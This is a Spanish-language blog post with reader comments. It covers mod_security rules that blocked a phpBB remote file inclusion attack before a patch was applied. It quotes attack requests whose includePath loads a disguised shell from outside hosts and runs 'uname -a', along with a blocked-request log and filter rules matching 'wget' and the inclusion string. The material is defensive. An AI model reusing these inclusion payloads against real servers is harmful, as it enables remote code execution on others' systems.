En algun momento mencione algo de esto… y la razon de por que lo estaba poniendo en mis maquinas… un buen ejemplo paso hace poco que no tenia oportunidad de actualizar una aplicación pero existia una manera de explotarla pero yo no podia parcharla hasta estar seguro, esto me planteaba dos posibilidades. 1) Sacar la aplicacion de producción 2) Arriesgarme a que explotaran esa debilidad…. Sin embargo mod_security permite un ‘hack’ es decir un arreglo rapido…
Digamos que alguien ya habia logrado colocar un bot de irc..
phpbb/page_tail.php?includePath=http://websurvey.burstmedia.com/cmd.gif
Podran ver que en donde esta el problema es que page_tail.php permite la inclusion de una pagina externa (la cual tiene como gif un shell es interesante si lo ven con un wget o con telnet, un navegador les va a decir que la imagen esta mal), entonces mientras me enteraba si existia un mejor fix y lidiaba con quien andaba merodeando por ahi… me añadi dos reglas (una de las cuales ya tenia pero no habia activado por un bomberazo).
SecFilterSelective THE_REQUEST «wget »
SecFilterSelective THE_REQUEST «p?includePath=http»
La primera revisa en las peticiones si encuentra la cadena wget y le da deny con un 403 y lo manda al log (claro requiere de configuración) pero aqui esta la parte practica.
La segunda busca la cadena especifica del exploit no solo en page_tail, sino practicamente en cualquier php… bueno aunque solo estuvo 12 horas sin parcharse justo quien tenia ganas de jugar siguio tocando a la puerta ;D
UNIQUE_ID: RE6UJMgXcZYAACo8AaU
Request: 200.154.52.5 – – [25/Apr/2006:16:27:00 -0500] «GET phpbb/page_tail.php?includePath=http://www.mptechno.cz/cse.gif?&cmd=uname%20-a
HTTP/1.0» 403 237
Handler: (null)
—————————————-
GET phpbb/page_tail.php?includePath=http://www.mptechno.cz/cse.gif?&cmd=uname%20-a HTTP/1.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai
n;q=0.8,image/png,*/*;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: pt-br,pt;q=0.5
Cache-Control: max-age=259200
Connection: keep-alive
Host: foobar
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.7.12) Gecko/200
50919 Firefox/1.0.7
Via: 1.1 loncoche.dialterra.com.br:3128 (squid/2.5.STABLE11)
X-Forwarded-For: 201.48.50.10
mod_security-message: Access denied with code 403. Pattern match «p?includePath=
http» at THE_REQUEST.
mod_security-action: 403
Es decir, **via mod_security puede uno bloquear ataques conocidos AUN antes de que exista un parche** para el problema o encontremos una solución al mismo.
En cierta forma me recuerda mucho el protowrapper de Gwolf… y como tal presenta probables exploits en si mismos, pero pensandolo bien, «Nada es seguro… solo los impuestos y la muerte».
Y la idea era comentar un poco la utilidad de mod_security.
En fin.
La historia se repite. Ese es uno de sus inconvenientes.
– Abresille.
Yo lo uso y me ayuda mucho, principalmente a la hora de hacer logs.
Lo interesante es que, para algun ataque especifico puedes como respuesta, ejecutar un comando externo, algun mensaje al celular podria ser? ;)
SecFilter KEYWORD «exec:/notify.pl»
Normalmente lo uso con redirect: http://e-corona.org/?cmd=